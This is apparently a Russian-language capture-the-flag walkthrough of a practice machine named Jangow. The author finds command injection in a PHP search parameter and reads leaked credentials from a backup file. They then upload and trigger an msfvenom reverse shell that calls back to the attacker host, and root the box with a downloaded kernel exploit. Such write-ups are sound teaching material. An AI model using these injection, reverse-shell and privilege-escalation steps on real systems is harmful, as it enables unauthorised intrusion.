Обзор сервисов

В моем случае IP-адрес машины 192.168.56.118. Для начала посмотрим, какие сервисы есть на машине:

$ nmap -sV -sC -Pn -p1-65535 -oN 192.168.56.118 192.168.56.118
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-20 07:45 EDT
Nmap scan report for 192.168.56.118
Host is up (0.00078s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
80/tcp open  http    Apache httpd 2.4.18
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2021-06-10 18:05  site/
|_
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Index of /
Service Info: Host: 127.0.0.1; OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.80 seconds

Открыты FTP (21) и HTTP (80) порты.

Вебка

Перейдя на вебку, видим листинг с директорией site.

Alt text

Перейдя внутрь, увидим сайт в стадии строительства.

Alt text

В коде HTML ничего интересного, зато ссылка Buscar ведет на http://192.168.56.118/site/busque.php?buscar=, попробуем ввести туда whoami:

http://192.168.56.118/site/busque.php?buscar=whoami

Alt text

Скрипт позволяет выполнять произвольные команды на сервере. Проверим, что у нас находится в каталоге выше:

view-source:http://192.168.56.118/site/busque.php?buscar=ls%20-la%20..

Alt text

Файл с именем .backup. Проверим, что внутри:

Alt text

Мы получили креды jangow01:abygurl69.

FTP

Попробуем подключиться к FTP с полученными выше кредами:

$ ftp 192.168.56.118
Connected to 192.168.56.118.
220 (vsFTPd 3.0.3)
Name (192.168.56.118:kali): jangow01
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Мы находимся в директории, в которой располагаются данные вебки:

ftp> dir
229 Entering Extended Passive Mode (|||23377|)
150 Here comes the directory listing.
drwxr-xr-x    3 0        0            4096 Oct 31  2021 html
226 Directory send OK.
ftp> cd html
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||39480|)
150 Here comes the directory listing.
drwxr-xr-x    6 33       33           4096 Jun 10  2021 site
226 Directory send OK.
ftp> cd site
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||52167|)
150 Here comes the directory listing.
drwxr-xr-x    3 33       33           4096 Jun 03  2021 assets
-rw-r--r—    1 33       33             35 Jun 10  2021 busque.php
drwxr-xr-x    2 33       33           4096 Jun 03  2021 css
-rw-r--r—    1 33       33          10190 Jun 10  2021 index.html
drwxr-xr-x    2 33       33           4096 Jun 03  2021 js
drwxr-xr-x    2 33       33           4096 Jun 10  2021 wordpress
226 Directory send OK.
ftp>

Сгенерируем реверс шелл:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.101 LPORT=443 -f elf -o shell2

Загрузим его с помощью ftp:

ftp> cd /tmp 
ftp> put shell2 
ftp> chmod 777 shell2

На локальной машине настроим ожидание подключения:

$ msfconsole 
msf> use multi/handler 
msf> set payload linux/x64/shell_reverse_tcp 
msf> set lhost 192.168.56.101 
msf> set lport 443 
msf> run

Запустим реверс шелл:

view-source:http://192.168.56.118/site/busque.php?buscar=/tmp/shell2

Alt text

Эскалация привилегий

Проверим версию ядра:

$ uname -a
Linux jangow01 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

Можем воспользоваться https://www.exploit-db.com/exploits/45010:

# загрузим эксплоит с сайта
$ wget https://www.exploit-db.com/download/45010
$ mv 45010 45010.c
# загрузим эксплоит на машину
$ ftp 192.168.56.118
Connected to 192.168.56.118.
220 (vsFTPd 3.0.3)
Name (192.168.56.118:kali): jangow01
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd /tmp
250 Directory successfully changed.
ftp> put 45010.c
local: 45010.c remote: 45010.c
229 Entering Extended Passive Mode (|||11754|)
150 Ok to send data.
100% |***************************************************************************| 13728       70.38 MiB/s    00:00 ETA
226 Transfer complete.
13728 bytes sent in 00:00 (8.22 MiB/s)
ftp> chmod 777 45010.c
200 SITE CHMOD command ok.
ftp> exit

Скомпилируем и запустим эксплоит:

$ gcc 45010.c
$ ./a.out
$ id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

Alt text

Флаги

Пора забрать флаги.

Пользовательский флаг

$ cd /home
$ ls
jangow01
$ cd jangow01
 ls
user.txt
$ pwd
/home/jangow01
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: enp0s8: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 08:00:27:3e:39:32 brd ff:ff:ff:ff:ff:ff
3: enp0s17: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:ce:ef:43 brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.118/24 brd 192.168.56.255 scope global enp0s17
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fece:ef43/64 scope link
       valid_lft forever preferred_lft forever
$ cat user.txt
d41d8cd98f00b204e9800998ecf8427e

Флаг суперпользователя

$ cd /root
$ ls
proof.txt
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: enp0s8: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 08:00:27:3e:39:32 brd ff:ff:ff:ff:ff:ff
3: enp0s17: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:ce:ef:43 brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.118/24 brd 192.168.56.255 scope global enp0s17
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fece:ef43/64 scope link
       valid_lft forever preferred_lft forever
$ cat proof.txt
                       @@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@&&&&&&&&&&&&&&
                       @  @@@@@@@@@@@@@@@&#   #@@@@@@@@&(.    /&@@@@@@@@@@
                       @  @@@@@@@@@@&( .@@@@@@@@&%####((//#&@@@&   .&@@@@@
                       @  @@@@@@@&  @@@@@@&@@@@@&%######%&@*   ./@@*   &@@
                       @  @@@@@* (@@@@@@@@@#/.               .*@.  .#&.   &@@@&&
                       @  @@@, /@@@@@@@@#,                       .@.  ,&,   @@&&
                       @  @&  @@@@@@@@#.         @@@,@@@/           %.  #,   %@&
                       @@@#  @@@@@@@@/         .@@@@@@@@@@            *  .,    @@
                       @@&  @@@@@@@@*          @@@@@@@@@@@             ,        @
                       @&  .@@@@@@@(      @@@@@@@@@@@@@@@@@@@@@        *.       &@
                      @@/  *@@@@@@@/           @@@@@@@@@@@#                      @@
                      @@   .@@@@@@@/          @@@@@@@@@@@@@              @#      @@
                      @@    @@@@@@@@.          @@@@@@@@@@@              @@(      @@
                       @&   .@@@@@@@@.         , @@@@@@@ *            .@@@*(    .@
                       @@    ,@@@@@@@@,   @@@@@@@@@&*%@@@@@@@@@,    @@@@@(%&*   &@
                       @@&     @@@@@@@@@@@@@@@@@         (@@@@@@@@@@@@@@%@@/   &@
                       @ @&     ,@@@@@@@@@@@@@@@,@@@@@@@&%@@@@@@@@@@@@@@@%*   &@
                       @  @@.     .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%*    &@&
                       @  @@@&       ,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%/     &@@&&
                       @  @@@@@@.        *%@@@@@@@@@@@@@@@@@@@@&#/.      &@@@@&&
                       @  @@@@@@@@&               JANGOW               &@@@
                       @  &&&&&&&&&@@@&     @@(&@ @. %.@ @@%@     &@@@&&&&
                                     &&&@@@@&%       &/    (&&@@@&&&
                                       (((((((((((((((((((((((((((((

da39a3ee5e6b4b0d3255bfef95601890afd80709